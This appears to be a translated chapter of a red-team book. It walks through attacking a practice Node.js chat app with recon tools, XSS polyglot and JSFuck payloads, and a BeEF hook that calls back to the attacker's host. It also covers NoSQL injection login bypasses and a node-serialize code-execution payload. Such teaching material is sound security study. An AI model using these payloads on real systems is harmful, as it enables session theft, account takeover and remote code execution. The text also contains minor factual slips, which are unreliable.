3.3 网络空间猫公司:聊天支持系统
假如您偶然发现了网络空间猫聊天支持系统对外开放。当您慢慢浏览所有页面时,可以了解底层系统,并在应用程序中查找弱点。您需要在服务器中找到第一个入口,从而进入生产环境。
您首先浏览所有漏洞扫描程序和网站应用程序产生的扫描程序报告,但是毫无收获。看来这家公司定期运行常用的漏洞扫描程序并修补了大部分问题。系统突破现在依赖于编码问题、错误配置和逻辑缺陷。您还注意到此应用程序正在运行 Node.js,这是一种目前非常流行的语言。
3.3.1 搭建您的网站应用程序攻击主机
虽然针对网站应用程序,红队没有完整的工具清单,但您需要配备的一些基本工具包括以下几种。
- 配备多个浏览器。许多浏览器的响应方式、行为都不同,尤其是在复杂的 XSS 规避方面。
- Firefox(我常用的测试浏览器)
- Chrome
- Safari
- Wappalyzer:一种跨平台的实用程序,可以发现网站应用的技术。它可以检测内容管理系统、电子商务平台、网站框架、服务器软件和分析工具等。
- BuiltWith:网站分析器工具。在查找页面时,BuiltWith 会返回它在页面上可以找到的所有技术。BuiltWith 的目标是帮助开发人员、研究人员和设计人员找出页面正在使用的技术,这可以帮助他们决定自己要采用什么技术。
- Retire.js:扫描 Web 应用程序,发现易受攻击的 JavaScript 库。Retire.js 的目标是帮助您检测已知漏洞的版本。
- Burp Suite:虽然这个商业工具有点贵,但对于渗透测试者/红队来说绝对物有所值。它的主要优点是附加组件、模块化设计和用户开发基础。如果您觉得 Burp 价格太高,那么 OWASP ZAP(免费)也许是一个很好的替代品。
3.3.2 分析网站应用程序
在进行任何类型的扫描之前,尝试理解底层代码和基础结构非常重要。我们怎样才能知道后端运行的是什么程序?我们可以使用 Wappalyzer、BuiltWith 或者 Google Chrome 浏览器。在图 3.4 中,当加载聊天应用程序时,我们可以看到 HTTP 头中包括 X-Powered By:Express。使用 Wappalyzer,我们还可以发现应用程序正在使用 Express 和 Node.js。
图 3.4
在盲目攻击网站之前,了解应用程序可以帮助您找到更好的方法。对于那些可能配备网站应用程序防火墙的目标站点,了解应用程序同样会帮助您隐蔽更多的攻击行为。
3.3.3 网络发现
在本书前两版中,我们详细介绍了如何使用 Burp Suite 以及如何对站点进行渗透测试。我们将跳过很多设置的基础知识,并更多地关注攻击网站。
在这一点上,我们假设您已经设置了 Burp Suite(免费版或付费版),并且您使用的是本书的 Kali 虚拟机镜像。一旦掌握了网站的底层系统,就需要识别所有端点。我们仍然需要运行之前使用的检测工具。
(1)Burp Suite。
- Spidering:无论是免费版还是付费版,Burp Suite 都有一个很棒的爬虫工具。
- 内容发现:如果您使用的是付费版本的 Burp Suite,则 Engagement 是一个较受欢迎的发现工具。这是一个智能高效的探测工具,可以查找目录和文件,而且可以指定多个不同的扫描配置。
- 主动扫描:对所有参数进行自动漏洞扫描,并测试多个网站漏洞。
(2)OWASP ZAP。
- 类似于 Burp,但是完全开源并且免费。具有类似的发现和主动扫描功能。
(3)Dirbuster。
- 一个永久存在的工具,用于发现 Web 应用程序的文件/文件夹,效果不错。
- 目标网址:http://chat:3000。
- 字典。
- /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
(4)GoBuster。
- 非常轻量级、快速的目录和子域名“爆破”工具。
- gobuster -u http://chat:3000 -w/opt/SecLists/Discovery/Web-Content/raft-small- directories.txt -s 200,301,307 -t 20。
字典非常重要。我喜欢使用的是一个名为 raft 的旧字典,它来自于多个开源项目。
现在简要介绍一下攻击的整个过程。从红队的角度来看,我们要查找可以主动攻击的漏洞,并提供最大的帮助。如果进行审计或者渗透测试,那么我们可能会报告漏洞扫描程序中发现的 SSL 漏洞、默认 Apache 页面或不可利用的漏洞。但是对于红队来说,我们可以完全忽略这些,专注于获得高权限、Shell 或个人身份信息。
3.3.4 跨站脚本(XSS)
查看并测试跨站脚本(XSS)漏洞。使用传统的 XSS 攻击方法<script>alert(1) </script>,测试网站上的每个变量,这对于漏洞悬赏项目非常有帮助,但我们还可以做什么?我们可以使用哪些工具和方法更好地完成这些攻击?
因为我们都知道 XSS 攻击是客户端攻击,允许攻击者定制网站请求,将恶意代码注入响应数据包中。这个问题通常可以通过客户端和服务器端的正确输入验证进行修复,但是实际上并不是那么容易。为什么?这是由多种原因造成的,例如,编码质量不高、框架不熟悉,应用程序过于复杂,导致很难了解输入的位置。
因为警报弹出框确实没有真正的危害,所以让我们开始一些基本类型的 XSS 攻击。
- Cookie 窃取 XSS。
- 强制下载文件。
- 重定向用户。
- 其他脚本启用键盘记录器和拍摄照片等。
XSS 静荷混淆/多语言
目前,标准的 XSS 静荷仍然可以正常运行,但我们确实会发现应用程序阻止某些字符,或者在应用程序前面有网站应用防火墙。
在评估期间,您有时候可能会遇到简单的 XSS 过滤器,它们会查找<script>之类的字符串。混淆 XSS 静荷是一种选择,但是同样需要注意的是,并非所有 JavaScript 静荷都需要打开和关闭<script>标记。有一些 HTML 事件属性在触发时执行 JavaScript,这意味着任何只针对 Script 标签的规则毫无用处。例如,执行 JavaScript 的这些 HTML 事件属性位于<script>标记之外。
- <b onmouseover=alert('XSS')>Click Me!</b>。
- <svg onload=alert(1)>。
- <body onload="alert('XSS')">。
- <img src="http://test.cyberspacekittens.com"onerror=alert(document.cookie);>。
您可以通过访问应用程序(记得修改/etc/host 文件,指向虚拟机应用程序),尝试针对聊天支持系统应用程序中的每个 HTML 实体实施攻击。访问聊天支持系统后,注册一个账户,登录该应用程序,然后访问聊天功能。您可以尝试不同的实体攻击和混淆的静荷,如图 3.5 所示。
图 3.5
其他 XSS 资源如下。
- 第一个是由 @jackmasa 制作的思维导图,如图 3.6 所示。这是一个很棒的文档,它根据输入的位置分解不同的 XSS 静荷。
图 3.6 JackMasa 跨站脚本思维导图
- 另一个资源介绍了各种浏览器容易受到哪些 XSS 静荷的攻击:HTML5 Security Cheatsheet。
正如您所看到的,尝试在应用程序中查找各种 XSS 漏洞很烦琐,这是因为静荷的参数受代码功能、不同类型的 HTML 标记、应用程序类型和不同类型的过滤机制影响。尝试找到最初的 XSS 弹出窗口可能需要很长的时间。如果我们尝试将多个静荷放到单个请求中,会怎么样呢?
这种类型的静荷称为多语言静荷(Polyglot)。Polyglot 静荷采用多种不同类型的静荷/混淆技术,并将它们编译成一个静荷。这种静荷对于采用自动脚本查找 XSS,有限时间的漏洞悬赏项目或者仅仅快速查找输入验证问题非常有帮助。
因此,我们可以不使用常规的<script>alert(1)</script>,而是构建下面的多语言静荷。
- /*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert())//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/ </scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e。
如果您查看上面的静荷,那么这个静荷尝试采用注释、点和斜线规避检测;执行 onclick XSS;关闭多个标签;最后尝试 onload XSS 攻击方法。集成这些类型的攻击方法使 Polyglots 在识别 XSS 方面非常高效。
如果您想测试和使用不同种类的多语言静荷,那么可以从易受攻击的 XSS 页面或聊天应用程序开始。
3.3.5 BeEF
浏览器漏洞利用框架(BeEF)将 XSS 攻击提升到新的层面。这个工具将 JavaScript 静荷注入被攻击者的浏览器,感染用户的系统。这会在被攻击者的浏览器上创建一个命令和控制通道,以便 JavaScript 后期利用。
从红队的角度来看,BeEF 是一个很好的工具,可用于各类攻击行动中,包括跟踪用户、捕获凭据、执行单击劫持和钓鱼攻击。即使不用在攻击场景,BeEF 也是一个很好的工具,可以展示 XSS 漏洞的巨大危害。BeEF 对于更复杂的攻击也有帮助,我们将在后面的盲 XSS 攻击中进行讨论。
BeEF 分为两部分:一部分是服务器,另一部分是攻击静荷。启动服务器的步骤如下。
在您的攻击 Kali 主机上启动 BeEF。
- 终端。
- BeEF-xss
- BeEF 鉴权 beef:beef。
- 查看 http://127.0.0.1:3000/hook.js。
- 完整静荷钩子文件如下。
- <script src="http://<Your IP>:3000/hook.js"></script>
查看位于 http://127.0.0.1:3000/hook.js 上的 hook.js 文件,您将看到很长的、像是 JavaScript 的混淆代码。这是被攻击者客户端静荷,用于回连命令和控制服务器。
一旦在目标应用程序上找到 XSS 漏洞,不要使用原始的 alert(1) 样式静荷,您可以修改<script src="http://<Your IP>:3000/hook.js"></script>静荷来利用此漏洞。一旦被攻击者执行这个静荷,其浏览器将成为“僵尸”网络的一部分。
BeEF 支持哪些类型的后期攻击?一旦被攻击者在您的控制之下,您就可以做任何 JavaScript 可以做的事情。您可以通过 HTLM5 打开相机并拍摄被攻击者的照片,可以在屏幕上叠加图片以捕获凭据,也可以将其重定向到恶意网站以执行恶意软件。
以下是 BeEF 基于 XSS 漏洞、开展攻击的过程展示。
首先,确保 BeEF 服务器运行在攻击者计算机上。在聊天支持系统的应用程序(存在漏洞)中,您可以访问 http://chat:3000/xss 并在练习 2 中输入您的静荷。
- <script src="http://127.0.0.1:3000/hook.js"></script>
一旦被攻击者连接到僵尸网络,您就可以完全控制其浏览器。您可以在设备、浏览器和启用的功能基础上,开展各种类型的攻击。采用社会工程策略,通过 Flash Update 提示推送恶意软件,可以很好地演示 XSS 攻击过程,如图 3.7 所示。
图 3.7
执行攻击后,在被攻击者的计算机上显示弹出窗口,引诱安装更新软件,其中包含附加的恶意软件,如图 3.8 所示。
图 3.8
本书建议您花一些时间研究所有 BeEF 的后期利用模块,并了解 JavaScript 的强大功能。因为我们已经控制了目标的浏览器,所以需要弄清楚如何在红队活动中发挥作用。在发现了 XSS 漏洞并感染了目标主机,您还想做些什么?我们将在下一部分讨论这个问题。
3.3.6 盲 XSS
盲 XSS 很少被讨论,因为它需要用户极大的耐心。什么是盲 XSS?顾名思义,盲 XSS 是指执行存储的 XSS 静荷时,攻击者/用户看不到回显结果,仅有管理员或者后端工作人员才能看到。虽然这种攻击方式对于后端用户可能是非常致命的,但它经常会被遗漏。
假设某个应用程序有一个“联系我们”的页面,允许用户向管理员提供联系信息,以便以后联系。由于该数据的结果只能由管理员手动查看,因此请求用户是看不到的,如果应用程序存在 XSS 漏洞,则攻击者不会立即看到“alert(1)”的攻击效果。在这些情况下,我们可以使用 XSS Hunter 工具,验证盲 XSS。
XSS Hunter 的工作原理是,当 JavaScript 静荷执行时,截取被攻击者屏幕(他们正在查看的当前页面),并将屏幕截图发送回 XSS Hunter 的站点。当收到屏幕截图后,XSSHunter 将发送静荷已执行的通知,并提供所有的详细信息。我们现在可以创建一个恶意的静荷,重新开始攻击。
- 禁用任何代理(Burp Suite)。
- 在 XSS Hunter 上创建账户。
- 登录 XSS Hunter。
- 跳到静荷页面,选择静荷。
- 修改静荷,以便适应您的攻击方式或者构建多语言静荷,如图 3.9 所示。
- 检查 XSS Hunter,查看静荷执行情况,如图 3.10 所示。
图 3.9
图 3.10
3.3.7 基于文档对象模型的跨站脚本攻击
理解反射和存储的跨站脚本(XSS)攻击相对简单。正如我们所了解的,服务器没有对用户/数据库的输入/输出进行充分验证,导致恶意脚本代码通过网站源代码形式呈现给用户。但是,在基于文档对象模型(DOM)的 XSS 攻击中,有些不同的地方,使用户产生了一些常见的误解。因此,我们需要花些时间来了解基于 DOM 的 XSS。
当攻击者操纵网站应用程序的客户端脚本时,可以采用基于 DOM 的 XSS 攻击方式。如果攻击者将恶意代码注入文档对象模型中,并且强制客户端的浏览器读取恶意代码,则静荷将在读取数据后执行。
DOM 究竟是什么?文档对象模型(DOM)是 HTML 属性的表示方法。由于您的浏览器无法解析这种 HTML 属性,因此需要解释器将 HTML 属性转化为 DOM。
让我们浏览一下聊天支持网站。查看存在漏洞的网站应用程序,您应该能够看到聊天站点存在 XSS 漏洞。
- 创建一个账户。
- 登录。
- 跳到聊天页面。
- 输入<script>alert(1)</script>,然后输入一些疯狂的 XSS 静荷!
在示例中,我们在服务器端配置 Node.js 环境,socket.io(Node.js 的库)在用户和服务器之间创建 Web 套接字,客户端支持 JavaScript 和 msg.msgText JavaScript 脚本。正如图 3.11 和页面的源代码所示,您不会看到“警报”对话框直接弹出静荷,而在标准的反射/存储的 XSS 可以看到。在这里,我们收到的唯一提示表明来自于 msg.name 引用的静荷可能被调用了。有时候我们很难推断出静荷执行的位置,或者是否需要跳出 HTML 标记执行静荷。
图 3.11
3.3.8 Node.js 中的高级跨站脚本攻击
XSS 漏洞反复出现的一个重要原因是,仅通过过滤标签或某些字符的方式很难防范该攻击方式。当静荷针对特定语言或框架进行定制时,XSS 很难防御。每种语言在漏洞利用方面都有其独特之处,Node.js 也是这样。
在本节中,您将看到一些特定语言如何实现 XSS 漏洞的例子。Node.js 网站应用程序使用一种更常见的 Web 堆栈和配置文件。实现方式包括 Express 框架和 Pug 模板引擎。需要注意的是,默认情况下,除非通过模板引擎进行渲染,否则 Express 确实没有内置的 XSS 防护机制。当使用像 Pug 这样的模板引擎时,有两种常见的方法可以找到 XSS 漏洞:通过字符串插值和缓冲代码。
模板引擎有一个字符串插值的概念,这是表示字符串变量占位符的一种奇特方式。例如,我们可以用 Pug 模板格式为变量指定一个字符串。
- \- var title = "This is the HTML Title"
- \- var THP = "Hack the Planet"
- h1 #{title}
- p The Hacker Playbook will teach you how to #{THP}
注意,#{THP}是 THP 之前分配变量的占位符。我们通常看到这些模板用于电子邮件分发消息。您是否收到过自动系统转发的电子邮件,内容是 Dear ${first_name}…,而不是您的真实名字?这正是模板引擎运行的方式。
当上面的模板代码呈现为 HTML 时,它将如下所示。
- <h1>This is the HTML Title</h1>
- <p>The Hacker Playbook will teach you how to Hack the Planet</p>
幸运的是,在这种情况下,我们使用“#{}”字符串插值,这是 Pug 插值的转义版本。如您所见,通过使用模板,我们可以创建可重用的代码,而且模板非常轻巧。
Pug 支持转义和非转义字符串插值。转义和未转义之间的区别是什么?好吧,使用转义字符串插值将对<、>、'和“等字符进行 HTML 编码。这将有助于对用户输入进行验证。如果开发人员使用非转义字符串插值,那么通常会导致 XSS 漏洞。
此外,字符串插值(变量插值、变量替换或变量扩展)用于评估一个或多个占位符的字符串文字,结果是其中占位符替换为其对应的值。
- 在 Pug 中,转义和非转义字符串插值介绍如下。
- !{},非转义字符串插值
- #{},虽然转义字符串插值是转义的,但是,如果直接通过 JavaScript 传递它,仍然可能存在 XSS 漏洞
- 在 JavaScript 中,未转义的缓冲区代码以“!=”开头。“!=”之后的任何内容都将自动作为 JavaScript 执行。
- 只要允许插入原始 HTML,就可能存在 XSS 漏洞。
在现实世界中,我们已经看到许多存在 XSS 漏洞的案例,原因是开发人员忘记了代码所处的上下文以及输入被传递的位置。让我们看看存在漏洞的聊天支持系统应用程序中的一些示例。访问虚拟机上的 URL 地址:http://chat:3000/xss。我们将逐步完成每一个练习来了解 Node.js/Pug XSS。
练习 1(http://chat:3000/xss)
在本例中,我们将字符串插值转义为段落标记。这是不可利用的,因为我们在 HTML 段落上下文中使用了正确的转义字符串插值符号。
- 访问 http://chat:3000/xss,然后单击 Exercise #1。
- Pug 模板源代码。
- p No results found for #{name1}
- 尝试输入并提交以下静荷。
- <script> alert(1)</script>
- 单击 Exercise #1 并查看,无结果输出。
- 查看 HTML 响应(查看页面的源代码),如图 3.12 所示。
- &#x3C; script&#x3E; alert(1)&#x3C;/script&#x3E;
图 3.12
单击提交后,查看页面源代码(<Ctrl + U>组合键)并搜索单词“alert”,您将看到静荷的特殊字符转换为 HTML 实体。在浏览器中,可以看到脚本标记,但没有呈现为 JavaScript。这种字符串插值的使用方式是正确的,并且确实没有办法突破这个场景来找到 XSS 漏洞。下面让我们看一些糟糕的实现。
练习 2
在本例中,我们在段落标记中使用“!{}”表示非转义字符串插值。这种方式容易存在 XSS 漏洞。任何基本的 XSS 静荷都会触发漏洞,例如<script>alert(1)</script>。
- 跳到练习#2。
- Pug 模板源代码。
- p No results found for !{name2}
- 尝试输入静荷。
- <script>alert(1)</script>
- 回应。
- <script>alert(1)</script>
- 单击提交后,我们应该看到弹出窗口。您可以通过查看页面源代码并搜索“alert”进行验证,如图 3.13 所示。
因此,当提交用户输入时,使用非转义字符串插值(!{name2})会导致很多麻烦。这是一种糟糕的做法,不能用于处理用户提交的数据。输入的任何 JavaScript 代码都将在被攻击者的浏览器上执行。
图 3.13
练习 3
在这个例子中,我们在动态内联 JavaScript 中转义了字符串插值。这意味着代码受到保护,因为它被转义了,对吧?未必。这个例子存在漏洞,原因是输入所处的代码上下文。我们在 Pug 模板中看到,在转义插值之前,我们实际上是在一个脚本标记内。因此,任何 JavaScript(即使是转义的)都会自动执行。因为在脚本标记内,所以静荷中不需要<script>标记。我们可以直接使用 JavaScript,例如 alert(1)。
(1)跳到示例#3。
(2)Pug 模板源代码。
- Pug。
- var user3 = #{name3};
- p No results found for #{name3}
(3)此模板将解析成下面的 HTML 格式。
- <script>。
- <p>No results found for [escaped user input]</p>。
- </script>。
(4)尝试输入静荷。
- 1;alert(1)。
(5)单击提交后,我们应该看到弹出窗口。您可以通过查看页面源代码并搜索“alert”进行验证。
有一个小小的改变,正确的写法是在插值周围添加引号。
(6)Pug 模板源代码。
- script。
- varuser3 =“#{name3}”
练习 4
在这个例子中,Pug 非转义代码由“! =”表示,因为没有转义,所以程序很容易受到 XSS 攻击的影响。因此,在这种情况下,我们可以在输入字段添加简单的“<script> alert(1)</script>”样式实施攻击。
- Pug 模板源代码。
- p != 'No results found for '+name4
- 尝试输入静荷。
- <script>alert(1)</script>
- 单击提交后,我们可以看到弹出窗口。您可以通过查看页面源代码并搜索“alert”进行验证。
练习 5
假设我们访问一个使用转义字符串插值和某种类型过滤的应用程序。在下面的练习中,我们在 Node.js 服务器中执行最小的黑名单过滤脚本,删除“<”“>”和“alert”等字符。但是,再次错误地将转义字符串插值放在脚本标记中。如果可以在那里放置 JavaScript 脚本,就可以实施 XSS 攻击。
- 跳到示例#5。
- Pug 模板源代码。
- name5 = req.query.name5.replace(/[;'"<>=]|alert/g,"")
- script
- varuser3 =#{name5};
- 尝试输入静荷。
- 尝试使用 alert(1),但由于过滤器,这个操作并起作用。还可以尝试<script>alert(1) </script>,但是转义代码和过滤器阻止执行。如果想执行 alert(1) 静荷,那么该如何做呢?
- 我们需要弄清楚如何规避过滤器,插入原始 JavaScript。JavaScript 非常强大并且具有很多功能。我们可以利用这些功能来生成一些有创意的静荷。规避这些过滤器的一种方法是使用深奥的 JavaScript 表示法。这可以在 JSFuck 的站点创建。正如您下面看到的,通过使用中括号、小括号、加号和感叹号,我们可以重新创建规则 alert(1)。
- JSFuck 静荷。
- [][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[]) [!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()
如您所知,许多浏览器已开始集成 XSS 防护机制。我们已经使用这些静荷来绕过某些浏览器保护机制,如图 3.14 所示。在 Kali 之外,您可以尝试在实际使用的浏览器中加载这些静荷,例如 Chrome。
图 3.14
对于复杂的应用程序,很难保证不出现 XSS 漏洞。对于框架如何处理输入和输出,很容易出现理解错误或者忘记处理的情况。因此,在对 Pug/Node.js 应用程序执行源代码审查时,在源代码中搜索 !{、#{或`$ {有助于找到 XSS 的位置。了解代码上下文以及是否需要在该上下文中进行转义至关重要,我们将在后面的示例中认识到这一点。
虽然上面的攻击方式是针对 Node 和 Pug 系统的,但是其实每种语言都存在 XSS 漏洞和输入验证的问题。您不需要运行漏洞扫描程序或 XSS 模糊测试工具,找到所有 XSS 漏洞,您需要做的是了解所使用的语言和框架。
3.3.9 从 XSS 漏洞到突破目标
我经常遇到的一个问题是,如何从 XSS 漏洞拓展,实现获取 Shell?虽然有很多不同的方式实现这个目标,但我们通常会发现,如果可以在内容管理系统(CMS)或类似设备中找到用户-管理员类型的 XSS,那么就能够完全突破系统。全部的演示示例和代码可以在 Hans-Michael Varbaek 处获取。Hans-Michael 提供了一些关于从 XSS 漏洞到远程执行攻击的精彩示例和视频。
我喜欢使用自定义红队攻击方式,主要是借助 JavaScript 的功能。我们通过 BeEF(Browser Exploitation Framework,浏览器开发框架)了解到 JavaScript 非常强大。因此,我们可以利用所有这些功能,对不知情的被攻击者实施攻击。这个静荷会做什么?攻击的一个示例是让被攻击者的计算机运行 JavaScript XSS 静荷,获取被攻击者的内部(自然)IP 地址。然后,我们基于这些 IP 地址,使用静荷扫描其内部网络。如果找到了一个已知的 Web 应用程序,那么在不进行身份验证的情况下即可突破,我们可以发送恶意静荷到该服务器。
例如,我们的目标可能是 Jenkins 服务器,在未经身份验证的情况下,可以完成远程代码的执行。要查看 XSS 与 Jenkins 突破的完整过程,可参阅第 5 章中关于使用社会工程学渗透内部 Jenkins 服务器的内容。
3.3.10 NoSQL 数据库注入
在本书的前两版中,我们花费相当长的时间介绍如何使用 SQLMap 进行 SQL 注入。除增加一些混淆以及集成到 Burp Suite 工具以外,本书与第 2 版在这方面相比没有太大变化。但是我想深入研究 NoSQL 注入,因为这些数据库变得越来越普遍。
MySQL、MS SQL 和 Oracle 等传统 SQL 数据库依赖于关系数据库中的结构化数据。这些数据库是关系型的,这意味着一个表中的数据与其他表中的数据有关。这使执行查询操作很方便,例如“给我列出所有在过去 30 天内购买东西的客户”。这些数据的问题在于整个数据库中数据的格式必须保持一致。NoSQL 数据库中的数据通常不遵循 SQL 查询数据库中的表格/关系模型。这些数据称为“非结构化数据”(如图片、视频和社交媒体),并不适用于我们大量收集数据。
NoSQL 特性如下。
- NoSQL 数据库类型:Couch/MongoDB。
- 非结构化数据。
- 水平增长。
在传统的 SQL 注入中,攻击者会尝试跳出 SQL 查询,并在服务器端修改查询操作。使用 NoSQL 注入,攻击可以在应用程序的其他区域中执行,而不是在传统的 SQL 注入中执行。此外,在传统的 SQL 注入中,攻击者会使用标记来跳出语句。在 NoSQL 注入攻击中,NoSQL 漏洞通常是由于字符串解析或者赋值操作造成的。
NoSQL 注入中漏洞通常在以下情况下发生:向 NoSQL 数据库提出请求,端点接收 JSON 数据;我们能够操纵 NoSQL 查询,使用比较运算符更改操作查询。
NoSQL 注入的一个常见例子是注入以下的数据:[{"$gt":""}]。这个 JSON 对象的含义是运算符($gt)大于 NULL ("")。由于逻辑上所有内容都大于 NULL,因此 JSON 对象始终是正确的,允许我们绕过或注入 NoSQL 查询。这相当于 SQL 注入中的[' 或者 1=1--]。在 MongoDB 中,我们可以使用以下条件运算符之一。
- (>) 大于 - $gt。
- (<) 小于 - $lt。
- (>=) 小于或等于 - $gte。
- (<= ) 小于或等于 - $lte。
1.攻击客户支持系统 NoSQL 应用程序
我们来了解聊天应用程序中的 NoSQL 工作流程。
- 在浏览器中,通过 Burp Suite 进行代理,访问聊天应用程序:http://chat:3000/nosql。
- 尝试使用任何用户名和密码进行身份验证。查看在 Burp Suite 中的身份验证请求期间发送的 POST 流量,如图 3.15 所示。
图 3.15
在聊天应用程序中,我们看到对/loginnosql 端点进行身份验证期间,POST 数据中包含{“username”:“admin”,“password”,“GuessingAdminPassword”}。在 POST 请求中使用 JSON 格式验证用户是很常见的,但是如果定义自己的 JSON 对象,我们可能使用不同的条件语句来确保条件始终为真。这实际上类似于传统的 SQLi 1 = 1 语句,从而绕过身份验证。下面让我们来了解是否可以注入应用程序。
2.服务器源代码
在聊天应用程序的 NoSQL 部分,我们将看到类似的 JSON POST 请求。即使这样,作为黑盒测试,看不到服务器端的源代码,我们期望以下面类似的方式查询 MongoDB 后端。
- db.collection(collection).find({"username":username,"password":password}).limit(1)…。
3.注入 NoSQL 聊天应用程序
正如从服务器端源代码中看到的那样,我们将使用用户提供的用户名/密码,搜索数据库,查找匹配项。如果能够修改 POST 请求,那么我们或许可以实施数据库查询注入,如图 3.16 所示。
- 在浏览器中,通过 Burp Suite 进行代理,访问聊天应用程序:http://chat:3000/nosql。
- 在 Burp Suite 中打开“Intercept”,单击 Login,然后以管理员身份提交用户名,并输入密码 GuessingAdminPassword。
- 代理程序接收流量并拦截 POST 请求。
- 修改{"username":"admin","password", "GuessingAdminPassword"}内容为{"username": "admin","password":{"$gt":""}}。
- 您现在可以以管理员身份登录!
图 3.16
发生了什么?我们将字符串“GuessingAdminPassword”更改为 JSON 对象{"$gt":""},这是正确的语句,因为所有的元素均大于 NULL。将 POST 请求更改为{“username”:“admin”, “password”:TRUE},使得请求始终正确,并以管理员身份登录而不需要知道密码,复制了 SQLi 中 1=1 攻击方式。
4.高级 NoSQLi 注入攻击
NoSQL 注入攻击并不是新的攻击方式,在本章的目的是,展示新的框架和语言如何隐蔽地引入新的漏洞。例如,Node.js 有一个 qs 模块,该模块具有特定的语法,用于将 HTTP 请求参数转换为 JSON 对象。默认情况下,qs 模块是 Express 中'body-parser'中间件的一部分。
- qs 模块:查询和解析字符串库,增加了一些安全性。
这意味着什么?如果使用了 qs 模块,并且在参数中使用括号表示法,POST 请求将在服务器端转换为 JSON。因此,一个 POST 请求,例如 username[value]=admin&password [value]=admin 将转换为{"username": {"value":"admin"}, "password":{"value":"admin"}}。现在,qs 模块协助 NoSQLi 接收并转换 POST。
- 例如,我们可以发出如下的 POST 请求。
- username=admin&password[$gt]
- 服务器端请求转换变成如下形式。
- {"username":"admin", "password":{"$gt":""}
- 这看起来类似于之前的 NoSQLi 攻击。
现在,我们的请求看起来与上一节中的 NoSQLi 请求是一致的。让我们看看实际操作,如图 3.17 所示。
- 访问 http://chat:3000/nosql2。
- 启用 Burp Intercept。
- 输入 admin:anything 登录。
- 修改 POST 参数。
- username = admin&password [$ gt] =&submit = login。
图 3.17
您已经以 admin 身份登录!您已经利用 Express 框架中的 qs 模块(正文解析器中间件一部分)存在的解析漏洞,执行 NoSQL 注入攻击。如果您不知道选用哪个用户名攻击怎么办?我们可以使用同样的攻击方法,查找和登录其他账户吗?
如果我们尝试使用用户名比较,而不是密码比较呢?在这种情况下,NoSQLi POST 请求如下所示。
- username[$gt]=admin&password[$gt]=&submit=login。
上面的 POST 请求实际上是在数据库中查询大于 admin 的用户名,密码字段始终正确。如果成功了,您可以找到管理员的下一个用户(按字母顺序),并以他的身份登录。继续这样做,直到找到超级账户。
3.3.11 反序列化攻击
在过去几年中,针对网站开展序列化/反序列化攻击变得越来越流行。我们在 BlackHat 上看到了很多不同的讨论,内容主要是挖掘了 Jenkins 和 Apache Struts 2 等常见应用程序中的序列化关键漏洞,同时出现了大量反序列化研究项目 ysoserial。那么反序列化攻击为什么这么引人关注呢?
在开始之前,我们需要了解为什么要序列化。序列化数据有很多原因,其中主要的原因是用于生成值/数据的存储,而不改变其类型或结构。序列化将对象转换为字节流,用于网络传输或存储。通常,转换方法涉及 XML、JSON 或针对某语言的序列化方法。
1.Node.js 中的反序列化
很多时候,挖掘复杂的漏洞需要深入了解应用程序。在这个场景中,Node.js 聊天应用程序使用存在漏洞的 serialize.js 版本。这个库存在漏洞,易受攻击,原因是不受信任的数据传递给 unserialize() 函数,可以被利用,执行任意代码,具体操作是将中间调用函数表达式(IIFE)传递给 JavaScript 对象。
我们先来详细了解攻击的细节,以便更好地了解发生了什么事情。首先,我们查看 serialize.js 文件并快速搜索 eval,如图 3.18 所示。一般情况下,JavaScript eval 语句包括用户输入数据是存在问题的,因为 eval() 执行原始 JavaScript。如果攻击者能够将 JavaScript 注入此语句中,则能够在服务器上远程执行代码。
图 3.18
其次,我们需要创建一个序列化静荷,静荷将被反序列化,并通过 eval 运行,同时 JavaScript 静荷需要运行 ('child_process').exec('ls')。
- {"thp":"_$$ND_FUNC$$_function (){require('child_process').exec('DO SYSTEM COMMANDS HERE', function(error, stdout, stderr) {console.log(stdout) });}()"}。
上面的 JSON 对象将把以下请求“(){require('child_process').exec('ls')”传递给 unserialize 函数中的 eval 语句,实现远程代码执行。最后需要注意的是,结尾括号添加了“()”,因为没有括号我们的函数就不会被调用。研究员 Ajin Abraham 最早发现这个漏洞,应用中间调用函数表达式或 IIFE 在创建函数后,执行该函数。
在聊天应用程序的例子中,我们将查看 Cookie 值,Cookie 使用存在漏洞的库进行反序列化。
- 访问 http://chat:3000。
- 在 burp 中代理流量并查看 Cookie 值,如图 3.19 所示。
图 3.19
